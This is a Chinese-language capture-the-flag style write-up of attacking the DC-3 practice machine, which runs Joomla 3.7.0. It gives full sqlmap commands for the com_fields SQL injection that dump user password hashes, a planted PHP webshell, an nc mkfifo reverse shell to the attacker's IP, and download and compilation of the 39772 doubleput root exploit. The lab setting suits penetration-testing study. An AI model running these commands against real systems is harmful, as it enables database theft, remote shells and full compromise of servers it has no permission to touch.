实验环境:DC-3靶机,kali攻击机,net模式下进行实验
靶机:
链接:https://pan.baidu.com/s/1naWHuZDDwWOI2zqO6vG6OA 提取码:rkzw
1、信息收集
查看虚拟机的MAC地址
在攻击机下扫描C网段
nmap -sP 192.168.246.0/24 -oN namp.sP
得到目标主机的ip地址后,继续扫描开靶机开放的端口
nmap -A 192.168.246.141-p 1-65535 -oN namp.A
开放了80端口,可以去访问相关网页
可以扫描网站目录,但是毫无收获
2、网站指纹识别
使用whatweb
whatweb http://192.168.246.141
发现该网站使用的CMS是Joomla
使用joomscan进行扫描(需要自己安装)
工具安装:
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl
参考连接:http://www.52bug.cn/hacktool/5336.htmlperl joomscan.pl --url 192.168.246.141
后台登录网址:http://192.168.246.141/administrator/
3、然后根据版本信息查询漏洞里用模块
利用searchsploit joomla 3.7.0
发现了一个sql注入点
然后利用该注入点进行漏洞利用
直接有sqlmap命令,所以只需要更改地址然后执行命令
列出来mysql数据库中所有数据库的名字
这就证明sql注入漏洞存在
4、现在需要获取后台管理员的账户与密码
所以需要知道存在于哪一个数据库当中,所以继续利用sqlmap进行测试,只需要更改参数即可
获取当前数据库的名字
sqlmap -u “http://192.168.246.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml”
–risk=3 --level=5 --random-agent --current-db -p list[fullordering]
当前数据库的名字为joomladb
获取数据库中的表信息
sqlmap -u
“http://192.168.246.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml”
–risk=3 --level=5 --random-agent -D “joomladb” --tables -p list[fullordering]
共有76张表,其中存放用户信息的表在#__user表中
获取表中的字段信息
sqlmap -u
“http://192.168.246.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml”
–risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” --columns -p list[fullordering]
获取字段相关内容
sqlmap -u
“http://192.168.246.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml”
–risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” -C “name,password” --dump -p list[fullordering]
得到了用户与加密的密码,现在需要对其进行解密
使用john工具对哈希值进行爆破
成功得到密码为snoopy
输入用户名与密码登录网站后台
5、随便浏览网站后台,发现一个模板目录
进去后发现有php文件,并且可以编辑文件
找到文件目录,上传木马
寻找到之前扫描到的目录
http://192.168.246.141/administrator/templates
打开但是没有beez3这个目录,根据对Joomla的了解,目录一般就放在根目录的templates目录下
查看有没有beez3这个目录
打开网址http://192.168.246.141/templates/beez3/
发现网页空白,表示网页存在
发现了modules.php文件,然后也发现了网站了后台存在modules.php文件
创建以后存在该目录,创建一句话木马
保存成功
访问这个文件表示成功
使用蚁剑进行连接
打开虚拟终端
6、需要进行提权
反弹shell
在kali主机上设置监听
nc -lvvp 2333
在虚拟终端上执行
nc -e /bin/bash 192.168.246.130 2333
-e 参数不可用
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.246.130
2333 >/tmp/f
反弹成功
7、提权
靶机当前的系统为ubuntu 16.04
searchsploit ubuntu 16.04
cp /usr/share/exploitdb/exploits/linux/local/39772.txt
ubuntu1604_shell.txt cat ubuntu1604_shell.txt
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
在反弹shell 的界面测试,发现访问失败,原因是我们的电脑无法访问国外的服务器
解决方法:我们先将39772.zip 文件下载至本地,本地搭建服务器,将文件上传至服务器,
我们直接访问本地服务器下载文件即可
将下载好的安装包放到/var/www/html目录下,然后开启apache服务
在shell中下载文件wget http://192.168.246.130/30772.zip
解压
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput